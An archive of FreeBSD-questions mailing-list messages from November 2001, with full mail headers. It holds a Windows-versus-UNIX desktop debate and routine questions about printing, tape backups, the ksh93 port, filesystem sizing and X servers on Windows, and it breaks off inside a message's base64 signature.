"Andre` Niel Cameron" To: "Anthony Atkielski" , "Kris Kennaway" Cc: "setantae" , References: <3BF9B12B.3D521A4D@nycap.rr.com> <20011119220243.A268@prayforwind.com> <009a01c171a9$4eedbee0$0a00000a@atkielski.com> <00cd01c171ac$ca0fa0e0$0a00000a@atkielski.com> <20011120102625.GB75402@rhadamanth> <00d201c171af$61dccb80$0a00000a@atkielski.com> <20011120024643.B92409@xor.obsecurity.org> <012001c171b5$ac8d86a0$0a00000a@atkielski.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 10:03:00 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset="Windows-1252" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2462.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > There is a (religious) belief among many that their preferred OS will somehow be > able to maintain a complex GUI environment without any of the complexity of code > or potential instability that goes with it. Obviously, this cannot be, and yet > they continue to believe it. > > Linux users seem to be the worst-afflicted in this respect, with their > irrational belief that somehow they will match the functionality and > comprehensiveness of Windows using an open-source, cobbled solution and somehow > make it _more_ stable than the commercial product. However, I've seen the same > attitude on these FreeBSD lists. My impression is that many FreeBSD users are > rabid Microsoft-haters who are more interested in duplicating Windows without > any Microsoft code than in using FreeBSD in the applications where it performs > best ... namely, multiuser server and network applications. But all flavors of > UNIX are _very_ poorly suited to desktop GUI environments, and it makes no > logical sense to try to replace a purpose-built OS like Windows with a > completely different OS having a completely different purpose; it can only be > motivated by an irrational desire to "teach someone a lesson" (such as > Microsoft). > > Similarly, and in the interest of equal time, I should point out that anyone > trying to configure NT/2000 to match UNIX for certain server and network > applications is spitting into the wind ... it's an uphill and potentially losing > battle. While NT/2000 can be made to work in this way (the underlying kernel is > certainly capable of it, largely because its design so much resembles that of > UNIX and other multiuser timesharing systems), it requires a lot more resources > to accomplish it, and the ergonomy is lacking. But NT/2000 religious devotees > are just as dogged in their attempts to fit a square peg into a round hole as > are the followers of UNIX variants. > > > This is an overgeneralization; under FreeBSD > > it's very rare for a window manager bug to > > "take out the OS". Even if the X server crashes > > the system still runs. > > You'd think so. But it worried me tremendously that, while simply trying to > change a font in KDE, the entire system crashed. It should not be possible for > an application like a windows manager to crash the kernel. The fact that this > was possible worries me because it casts a shadow on the security of the > kernel--how could a user application manage to crash the system like that? > > I console myself by speculating that perhaps the window manager called some > kernel function or driver that faulted because of a configuration problem or > (most likely) an incompatibility with the display hardware. Still not very > useful from a practical standpoint, but at least it would not make the OS look > as insecure. > > > In real terms, well-written and well-tested simple > > window managers rarely have catastrophic bugs. > > Well, KDE is apparently neither simple nor well-written and well-tested, because > it crashed the system; and when it didn't crash the system, it froze or did > other weird things a lot. > > > I can't remember the last time I had problems > > with windowmaker, for example. > > I'm not familiar with it. The KDE experience has soured me on window managers > for UNIX for the moment. I do just about everything from a command line right > now, anyway--I even surf with Lynx--so trying to clone Windows is not a high > priority. Unlike many people here, it seems, I see FreeBSD as an excellent > server OS, and that's how I use it. My desktop environment remains Windows NT > (and in fact most of my interaction with FreeBSD is via NT, as you'd expect in a > server/client environment). I would like to say well said. Personally I use Windows2k for most "desktop" related services I have a freeBSD "desktop" to give a well rounded experience as I like Star Office, KDE and Doom:) I also have a FreeBSD "Server" I acctually tried running NT and win2k as servers and was horrified by performance/stability/security. My NT server got hacked in one day, granted I had not applied the patches yet but still there should be some security right out of the box!:) NT/2k makes a good file server in a internal Windows based network. Other wise "Spitting in the wind" is just about the right analisis! This is the first time I have seen someone speak like this, usually it is death to those who say windows in a *nix list. Andre To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7: 8:38 2001 Delivered-To: freebsd-questions@freebsd.org Received: from sdf.lonestar.org (sdf.lonestar.org [209.221.165.117]) by hub.freebsd.org (Postfix) with ESMTP id 97DDA37B41C for ; Tue, 20 Nov 2001 07:08:23 -0800 (PST) Received: (from thursday@localhost) by sdf.lonestar.org (8.11.6/8.11.6) id fAKF8MC25640 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 15:08:22 GMT Date: Tue, 20 Nov 2001 15:08:22 +0000 From: what ever To: freebsd-questions@freebsd.org Subject: lpd: only root can print Message-ID: <20011120150822.A23449@sdf.freeshell.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hey, I did a binary upgrade from 4.2-RELEASE to 4.4 via /stand/sysinstall the other day, and now, only root can print. When normal user runs #lpr file or #cat file | lpr the process just hangs. But when done as root, it works... Any idea on how to fix this (before the upgrade, printing worked fine for normal users). Thanks, -- thursday@sdf.lonestar.org SDF Public Access UNIX System - http://sdf.lonestar.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7:10:40 2001 Delivered-To: freebsd-questions@freebsd.org Received: from fac13.ds.psu.edu (fac13.ds.psu.edu [146.186.61.98]) by hub.freebsd.org (Postfix) with ESMTP id 38D4137B421 for ; Tue, 20 Nov 2001 07:10:34 -0800 (PST) Received: from fac13.ds.psu.edu (localhost.ds.psu.edu [127.0.0.1]) by fac13.ds.psu.edu (8.11.6/8.11.3) with ESMTP id fAKFABq71144 for ; Tue, 20 Nov 2001 10:10:12 -0500 (EST) (envelope-from hawk@fac13.ds.psu.edu) Message-Id: <200111201510.fAKFABq71144@fac13.ds.psu.edu> X-Mailer: exmh version 2.3.1 01/18/2001 with nmh-1.0.4 To: freebsd-questions@FreeBSD.ORG Reply-To: dochawk@psu.edu, freebsd-questions@FreeBSD.ORG Subject: those recent vmware patches From: "Richard E. Hawkins" Date: Tue, 20 Nov 2001 10:10:11 -0500 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG It looks like I managed to delete that pair of patches (I notice now that I manage to get a couple of minutes to apply them!). DOes anyone still have them? If so, could you kindly forward them? thanks hawk -- What part of "non-negotiable" didn't you understand? /"\ ASCII ribbon campaign dochawk@psu.edu Smeal 178 (814) 375-4700 \ / against HTML mail These opinions will not be those of X and postings. Penn State until it pays my retainer. / \ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7:21:55 2001 Delivered-To: freebsd-questions@freebsd.org Received: from tomts11-srv.bellnexxia.net (tomts11.bellnexxia.net [209.226.175.55]) by hub.freebsd.org (Postfix) with ESMTP id 1A3E137B405 for ; Tue, 20 Nov 2001 07:21:52 -0800 (PST) Received: from xena.gsicomp.on.ca ([199.243.144.157]) by tomts11-srv.bellnexxia.net (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP id <20011120152151.VWJX24249.tomts11-srv.bellnexxia.net@xena.gsicomp.on.ca>; Tue, 20 Nov 2001 10:21:51 -0500 Received: from localhost (matt@localhost) by xena.gsicomp.on.ca (8.11.1/8.11.1) with ESMTP id fAKFDaR33607; Tue, 20 Nov 2001 10:13:38 -0500 (EST) (envelope-from matt@xena.gsicomp.on.ca) Date: Tue, 20 Nov 2001 10:13:35 -0500 (EST) From: Matthew Emmerton To: Pavel Chizhov Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Segmentation faults In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG If you have the source code for these programs, compile them with '-g'. This will add debugging information to the binary, which can be used by a debugger to pinpoint the location of the instruction causing the segmentation fault. -- Matthew Emmerton || matt@gsicomp.on.ca GSI Computer Services || http://www.gsicomp.on.ca On Tue, 20 Nov 2001, Pavel Chizhov wrote: > Hello! I've obtained a problem trying to execute some large programs > (e.g. GAMESS, quantum chemistry calculation program) after compiling. > Every process have been kicked out after beginnig of execution because > of segmentation fault. I've obtained it as for C modules (borh cc and > gcc compilers were used) as for Fortran modules (both g77 and f2c/gcc > compilations were tryed). My RAM is 1152Mb and swap is 1000Mb. Should > I increase the kernel address space (now NKPDE is 254 - I have an SMP > kernel) to solve this problem, or, maybe, linked sources while > compiling with some libraries? > With best wishes > P.Chizhov > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7:30:39 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.inka.de (quechua.inka.de [212.227.14.2]) by hub.freebsd.org (Postfix) with ESMTP id 8EA4937B418 for ; Tue, 20 Nov 2001 07:30:34 -0800 (PST) Received: from kemoauc.mips.inka.de (uucp@) by mail.inka.de with local-bsmtp id 166Cr2-0007cY-00; Tue, 20 Nov 2001 16:30:32 +0100 Received: (from daemon@localhost) by kemoauc.mips.inka.de (8.11.6/8.11.6) id fAKEa6184176 for freebsd-questions@freebsd.org; Tue, 20 Nov 2001 15:36:06 +0100 (CET) (envelope-from daemon) From: naddy@mips.inka.de (Christian Weisgerber) Subject: Re: Slow restores on a DLT4000 Date: Tue, 20 Nov 2001 14:36:05 +0000 (UTC) Message-ID: <9tdpol$2i67$1@kemoauc.mips.inka.de> References: <20011119150711.A7781@northernbrewer.com> Originator: naddy@mips.inka.de (Christian Weisgerber) To: freebsd-questions@freebsd.org Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Christopher Farley wrote: > I get fairly good throughput on dumps; about 1.6 megs/second, which > seems similar to 'average' expectations that have been published. > During a dump, the drive does not stream, but runs, stops, rewinds, > runs, stops, rewinds... My thinking is that the tape drive is able to > write to a tape faster than my platters can provide the bits. There are two possible issues here. 1. dump is fairly slow and it may indeed not be fast enough to keep the drive streaming. Try dumping to /dev/null and see what speeds you get there. If dump is too slow, you can use a holding disk (or partition): dump to a file on the holding disk and transfer the archive from there to tape using something like misc/buffer or misc/team. 2. Judging from those 1.6MB/s you have compression enabled. My DLT4000 does not stream when compression is enabled no matter what. There is no bottleneck in my setup to explain this and I have already upgraded the firmware. I suspect that the DLT4000 may simply be incapable of streaming if compression is enabled, due to CPU limitations. > Restoring data off a level 0 dump takes about twice as long as the dump > itself, and it also fails to stream. No surprise. Recreating lots of files is slow, even with softupdates or even async mounts. Again, a holding disk will help. > Also, it takes just as long to retrieve a few files off of a dump as it > does to restore an entire dump. It seems like the drive simply reads the > tape sequentially, and if it sees a file I've marked, it writes > it to the disk. Correct. It should stream during that time, though. -- Christian "naddy" Weisgerber naddy@mips.inka.de To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7:32:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mail.smed.com (mail.smed.com [64.46.248.225]) by hub.freebsd.org (Postfix) with ESMTP id B343137B419 for ; Tue, 20 Nov 2001 07:32:15 -0800 (PST) Received: from smtpgate.smshsc.net (unknown [165.226.204.25]) by mail.smed.com (Postfix) with ESMTP id 6D37F47EF6 for ; Tue, 20 Nov 2001 10:32:06 -0500 (EST) Received: from iesa14.smshsc.net (iesa14.shrmed.com [165.226.204.44]) by smtpgate.smshsc.net (8.9.3/8.9.3) with ESMTP id KAA14730 for ; Tue, 20 Nov 2001 10:32:05 -0500 From: Joe.Warner@smed.com Received: from uranus.smed.com (unverified) by iesa14.smshsc.net (Content Technologies SMTPRS 2.0.15) with ESMTP id for ; Tue, 20 Nov 2001 10:32:03 -0500 Subject: /usr/ports/shells/ksh93 To: FreeBSD-Questions@freebsd.org X-Mailer: Lotus Notes Release 5.0.7 March 21, 2001 Message-Id: Date: Tue, 20 Nov 2001 08:31:27 -0700 X-MIMETrack: Serialize by Router on Uranus/SMS(Release 5.0.8 |June 18, 2001) at 11/20/2001 10:32:04 AM MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I'm running FreeBSD 4.4-STABLE in a production environment and need to install an application for our intranet but it's install script is written for #!/bin/ksh After checking /etc/shells and noticing that I didn't have ksh installed, I tried to install it via /usr/ports/shells/ksh93 but it errored out at the end saying I needed to download the port manually and place it in /usr/ports/distfiles http://www.freebsd.org/cgi/pds.cgi?ports/shells/ksh93 references INIT.2001-07-04.0000.tgz and ast-ksh.2001-07-04.0000.tgz but when I click on those links it comes back saying "The page cannot be found". Additionally, when I search for these files at http://www.research.att.com/ I can't find them. Obviously, this port is outdated. Does anyone know which snapshot from www.research.att.com will work and how I should modify the Makefile so that it installs properly (especially during the patch phase) ? Thanks Joe ------------------------------------------------------------------------------- This message and any included attachments are from Siemens Medical Solutions Health Services Corporation and are intended only for the addressee(s). The information contained herein may include trade secrets or privileged or otherwise confidential information. Unauthorized review, forwarding, printing, copying, distributing, or using such information is strictly prohibited and may be unlawful. If you received this message in error, or have reason to believe you are not authorized to receive it, please promptly delete this message and notify the sender by e-mail with a copy to CSOffice@smed.com. Thank you To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7:56:46 2001 Delivered-To: freebsd-questions@freebsd.org Received: from hotmail.com (f132.law10.hotmail.com [64.4.15.132]) by hub.freebsd.org (Postfix) with ESMTP id 3FDCF37B418 for ; Tue, 20 Nov 2001 07:56:42 -0800 (PST) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Tue, 20 Nov 2001 07:56:42 -0800 Received: from 194.128.74.5 by lw10fd.law10.hotmail.msn.com with HTTP; Tue, 20 Nov 2001 15:56:42 GMT X-Originating-IP: [194.128.74.5] From: "Graham Lillico" To: freebsd-questions@FreeBSD.ORG Subject: Filesystem Sizes Date: Tue, 20 Nov 2001 15:56:42 +0000 Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 20 Nov 2001 15:56:42.0665 (UTC) FILETIME=[F2B29190:01C171DB] Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hi, I'm setting up a File server it contains a 20gb disk which holds all the system stuff and two 40Gb disks raided together to hold user home directories, CVS repository, and the /usr/src and /usr/ports stuff so that I can make them avaliable to all servers via NFS. The problem I have is I have no idea what size to make the /usr/ports and /usr/src filesystems? Does anyone have any idea on a good ideal size I know that /usr/ports is about 100Mb and that /usr/src is about 280Mb but how big are they likely to get during kernel compiles etc. I did consider making the whole disk the /usr filesystem but at 80Gb this seemed a bit excessive. Also how may filesystem are you limited to per disk? And is vinum a good option? Regards Graham Lillico _________________________________________________________________ Get your FREE download of MSN Explorer at http://explorer.msn.com/intl.asp To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 7:57:18 2001 Delivered-To: freebsd-questions@freebsd.org Received: from webs1.accretive-networks.net (webs1.accretive-networks.net [207.246.154.13]) by hub.freebsd.org (Postfix) with ESMTP id 4A11937B618 for ; Tue, 20 Nov 2001 07:56:54 -0800 (PST) Received: from localhost (davidk@localhost) by webs1.accretive-networks.net (8.11.1/8.11.3) with ESMTP id fAKFuq012076; Tue, 20 Nov 2001 07:56:52 -0800 (PST) Date: Tue, 20 Nov 2001 07:56:52 -0800 (PST) From: David Kirchner X-X-Sender: To: Anthony Atkielski Cc: Subject: Re: home pc use In-Reply-To: <009001c171c4$e26a71c0$0a00000a@atkielski.com> Message-ID: <20011120075437.D9030-100000@localhost> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG On Tue, 20 Nov 2001, Anthony Atkielski wrote: > Whatever provides me with income. The Windows machine is thus a > mission-critical computer for this purpose. Well, it looks like you've got what you need from Windows. We get what we need from FreeBSD. I've forgotten what the point of all of this is, but it seems like everything's as it should be. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:16:16 2001 Delivered-To: freebsd-questions@freebsd.org Received: from po4.wam.umd.edu (po4.wam.umd.edu [128.8.10.166]) by hub.freebsd.org (Postfix) with ESMTP id 074C137B416 for ; Tue, 20 Nov 2001 08:16:10 -0800 (PST) Received: from sun08pg2.wam.umd.edu (IDENT:root@sun08pg2.wam.umd.edu [128.8.73.18]) by po4.wam.umd.edu (8.9.3/8.9.3) with ESMTP id LAA27275; Tue, 20 Nov 2001 11:15:54 -0500 (EST) Received: from sun08pg2.wam.umd.edu (IDENT:sendmail@localhost [127.0.0.1]) by sun08pg2.wam.umd.edu (8.9.3/8.9.3) with SMTP id LAA27852; Tue, 20 Nov 2001 11:15:51 -0500 (EST) Received: from localhost (culverk@localhost) by sun08pg2.wam.umd.edu (8.9.3/8.9.3) with ESMTP id LAA27848; Tue, 20 Nov 2001 11:15:50 -0500 (EST) X-Authentication-Warning: sun08pg2.wam.umd.edu: culverk owned process doing -bs Date: Tue, 20 Nov 2001 11:15:50 -0500 (EST) From: Kenneth Wayne Culver To: Anthony Atkielski Cc: setantae , questions@FreeBSD.ORG Subject: Re: home pc use In-Reply-To: <001f01c171cf$430e8ac0$0a00000a@atkielski.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG > > Who said anything about cloning Windows ? > > I did. A realistic GUI environment for me would have to be a virtual > clone of Windows, because virtually all the applications I use are > Windows-only applications. Not everyone wants their systems to look like and feel like windows. I for one would never have installed FreeBSD on my computers 5 or 6 years ago if it had looked like windows. > > According to the archives, you installed > > FreeBSD on 31st Oct, 2001. > > Yes, but I first worked on an operating system considerably prior to that date. > > > You then proceeded to ask what portmap was. > > You were amazed that one needs a different kernel > > to enable SMP. You never heard of the rehash > > command in csh. > > Yes. So? > > > These are not FreeBSD specific problems. > > They are characteristic of UNIX, or of some other OSes in isolation > (multiprocessor support). > > > All of these are things that one could expect > > from someone with only 3 weeks experience of an > > OS, but I honestly think that you would benefit > > from doing some background reading. > > Thank you for your suggestion. > > I was hoping that you might offer more information on FreeBSD, instead > of your armchair evaluation of my competence in IT. If all responses > to my questions and comments were similar, I should indeed be > restricted to reading elsewhere to obtain the information I require. > This illustrates to some extent my comments about support being > difficult to get for FreeBSD (and other open-source products). Support is not difficult to get, but most FreeBSD users expect the user who is asking questions on this list to read the manpages and search the list archives before emailing the list. > > You come here and basically say ``All window > > managers suck.'' > > In a world dominated by Microsoft Windows, any window manager that > does not replicate Windows functionality effectively sucks, from the > standpoint of the average end user. This may not be a pleasant > thought, but it is a hard reality. I may not like everything about > Windows, but I do accept that it is the standard against which all > other window systems must be measured. That is largly personal opinion. Personally if the desktop system functions and I can get work done, I don't care if it looks like and acts like windows, and the less it looks like windows, the better. > > I suggest a window manager that doesn't suck, > > and you say ``I've had my fill''. > > I heard great things about KDE, too, but it turned out to be a > disappointment. So did the default window manager. I can't devote my > life to trying to make UNIX look like Windows. There are lots of > other things that UNIX is good for, and I have no pressing desire to > prove that UNIX can be "just as good" as Windows. The OS wasn't meant > for that, anyway. What were you disappointed by? I was very impressed by KDE2 when I first tried it out, and stopped using windowmaker to use KDE2. I'm glad it doesn't act like windows, and I'm glad that FreeBSD can't be configured by pointing and clicking. That's what windows is for; people who don't want to learn how to edit config files. > > If you seriously wish to use FreeBSD in a > > production environment, then it's even more > > important that you familiarise yourself with > > the system : how to upgrade it, how to install > > new software, how to get the sources, how it is > > different from other systems, how it is similar > > to other systems. You don't seem prepared to > > do this. > > That's what I'm doing, although I've discovered that this list, at > least, is nearly useless for that purpose. One need only read your > own post, and others like it, and distill the real, useful information > they contain, if any, to see how poorly this list fulfills its nominal > role. What exactly do you want to know how to do, I didn't read your original post, but I'll read your response to this mail, I'm sure I can help you with most of your problems; as I still remember the problems I had when I made the switch (And never went back) > > There is a handbook that a good body of people > > have spent and so spend a considerable amount > > of manhours writing. I *know* that you haven't > > taken the time to read it. > > I've read parts of it that are relevant to what I need to know. It is > not the best-written document I've ever seen, but the alternatives > seem to be worse. > I thought it was pretty good, it's how I learned most of what I know about FreeBSD, and that was about 5 years ago, the docs now are much better now than they were when I first started. Ken To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:17:45 2001 Delivered-To: freebsd-questions@freebsd.org Received: from mpehp1.mpe-garching.mpg.de (mpehp1.mpe-garching.mpg.de [130.183.70.10]) by hub.freebsd.org (Postfix) with ESMTP id 3071337B417 for ; Tue, 20 Nov 2001 08:17:43 -0800 (PST) Received: from robert2.mpe-garching.mpg.de (robert2.mpe-garching.mpg.de [130.183.136.59]) by mpehp1.mpe-garching.mpg.de (8.8.6 (PHNE_17135)/8.8.6) with ESMTP id RAA03041 for ; Tue, 20 Nov 2001 17:17:39 +0100 (MET) Received: (from sutter@localhost) by robert2.mpe-garching.mpg.de (8.11.6/8.11.6) id fAKGI3q22886 for freebsd-questions@FreeBSD.ORG; Tue, 20 Nov 2001 17:18:03 +0100 (CET) (envelope-from sutter) Date: Tue, 20 Nov 2001 17:18:03 +0100 From: Robert Suetterlin To: freebsd-questions@FreeBSD.ORG Subject: Q: Is there a working HSM for *BSD (possibly free and open source)? Message-ID: <20011120171803.A22854@robert2.mpe-garching.mpg.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5i Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG Hello, I am looking for a working hirachical storage management under BSD. So far I looked on this list, Google, the freebsd-search page and asked on IRC, but could not find hints to a working solution. As I found lots of discussion on this toppic dating several years back, and as there are non-free solutions available that rely on DMAPI (or OpenXDSM) to work, I would also like to know if this API is available under (any) BSD. Preferably I would like to use a free open source implementation. Sincerely, Robert. -- Robert Suetterlin (robert@mpe.mpg.de) phone: (+49)89 / 30000-3546 fax: (+49)89 / 30000-3950 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Tue Nov 20 8:21:33 2001 Delivered-To: freebsd-questions@freebsd.org Received: from pr0n.kutulu.org (pr0n.kutulu.org [151.196.107.157]) by hub.freebsd.org (Postfix) with ESMTP id 5D7B237B405 for ; Tue, 20 Nov 2001 08:21:25 -0800 (PST) Received: from cc191573g (cc191573-g.longhill1.md.home.com [24.37.104.136]) by pr0n.kutulu.org (8.11.6/8.11.6) with SMTP id fAKGLiU43711; Tue, 20 Nov 2001 11:21:44 -0500 (EST) (envelope-from kutulu@kutulu.org) Message-ID: <02b501c171de$93484530$88682518@longhill1.md.home.com> From: "Kutulu" To: "Anthony Atkielski" Cc: References: <006901c171b1$f549f760$1401a8c0@tedm.placo.com> <012801c171b6$845a9500$0a00000a@atkielski.com> <013f01c171c7$6ffcbeb0$88682518@longhill1.md.home.com> <002f01c171d0$5e05cfe0$0a00000a@atkielski.com> Subject: Re: home pc use Date: Tue, 20 Nov 2001 11:15:29 -0500 MIME-Version: 1.0 Content-Type: multipart/signed; micalg=SHA1; protocol="application/x-pkcs7-signature"; boundary="----=_NextPart_000_02B1_01C171B4.A9716F00" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk List-ID: List-Archive: (Web Archive) List-Help: (List Instructions) List-Subscribe: List-Unsubscribe: X-Loop: FreeBSD.ORG This is a multi-part message in MIME format. ------=_NextPart_000_02B1_01C171B4.A9716F00 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit From: "Anthony Atkielski" Sent: Tuesday, November 20, 2001 9:33 AM > Kutulu writes: > > > XFree86 actually runs on Windows now (via Cygwin). > > Cygwin sounds like another layer, and one that modifies system files at that. > On that path lies danger. It's actually (in a nutshell) a DLL that provides most of the standard UNIX system calls that Windows lacks, allowing programs written for UNIX-like systems to be ported to Windows with much less code change. > > * There is only one Win32 X server, which uses > > DirectX. > > I run NT 4.0, which does not support DirectX (at least not any recent version of > it). It does run on NT 4.0, so there must be a non-DX version of it. > I don't really see why an X Server needs DirectX, anyway. DirectX is for games. Completely off topic, but. DirectX is for graphics. It does the same thing for video hardware that the Windows printer API does for printing, or multimedia API does for soundcards. It allows developers to write *fast* graphical applications, that take advantage of high-end video hardware, without knowing anything about the hardware. One of the major downfalls of XFree86 on Linux/BSD, in my opinion, is that it still falls short of Windows in terms of graphical hardware support. (I understand that XFree86 4 goes quite a long way to closing this gap, but I have no personal experience there.) You need to compile and configure an X server to match your graphics card and monitor, and that assumes someone has written the video driver code to do so. The Win32 server can use the DirectX video drivers to provide full video support for the hardware, as long as it has DirectX drivers. Of course, this is sort of a chicken/egg problem: Windows has more users, so OEMs provide Windows drivers first, so Windows has better hardware support, so it gets more users, etc etc. > > And I still haven't figured out how to get it > > to use XDMCP the way XWin32 does. > > What is XWin32? Is it any good? What does it cost? All I've been able to find > is ServerX and eXceed, both of which are dramatically overpriced (perhaps they > are subsidiaries of Quark). MicroImage makes a free server, but it faults > instantly as soon as I try to open a window. XWin32 is a very nice Win32 server, that supports one feature of the X system that I didn't find in other products. It can log into a remote system running xdm (or clone) via XDMCP. The means you can connect to, log into, and run applications on the remote system without having to fire off a shell first and start any window managers. Unfortunately, XWin32 runs about $250 for a single user lisence. I haven't figured out how to do the same in XFree86 yet, but I also didn't try very hard, as I now prefer to tunnel X stuff through my ssh session. --K ------=_NextPart_000_02B1_01C171B4.A9716F00 Content-Type: application/x-pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" MIAGCSqGSIb3DQEHAqCAMIACAQExCzAJBgUrDgMCGgUAMIAGCSqGSIb3DQEHAQAAoIII3jCCAnww ggHloAMCAQICAwW08DANBgkqhkiG9w0BAQIFADCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsT FENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAw MC44LjMwMB4XDTAxMDkyMjE0MDAxOFoXDTAyMDkyMjE0MDAxOFowQzEfMB0GA1UEAxMWVGhhd3Rl IEZyZWVtYWlsIE1lbWJlcjEgMB4GCSqGSIb3DQEJARYRa3V0dWx1QGt1dHVsdS5vcmcwgZ8wDQYJ KoZIhvcNAQEBBQADgY0AMIGJAoGBALuDdLgCHJxCJguCs8IK+K4Fic2MZAbW1CVoIPV1qU/ez9TI z5Yv4XRDskBUZxFogDSDdYPEGCbNB8Tp7TjwD+n2zAuIuapRMySbs7zQYef/fBd01rqRBmi/A9/v bPOuKHqOAvbMqWMH2D9hjCH2d3R8cJIoCglhEtyyxm9rOee5AgMBAAGjLjAsMBwGA1UdEQQVMBOB EWt1dHVsdUBrdXR1bHUub3JnMAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAlJ1wNCdT DYnUEQV9rBeSbJ8lJ1yxSHxwosdb8UzkD3H6AfRJBQQQ/qAIWh9ODW2UjMH5el3RgaZAbPUheG56 bPcKEdb+pGInFz8Rf0Baent6D3OLrvVT1wrJ+qeYuf61DHIAuorD/ZFeN8v3wLtyuuHRkPZmn/1b JgLc4S2qImIwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJaQTEV MBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoTEVRoYXd0 ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERpdmlzaW9uMSQw IgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG9w0BCQEWHHBlcnNv bmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcNMDIwODI5MjM1OTU5WjCB 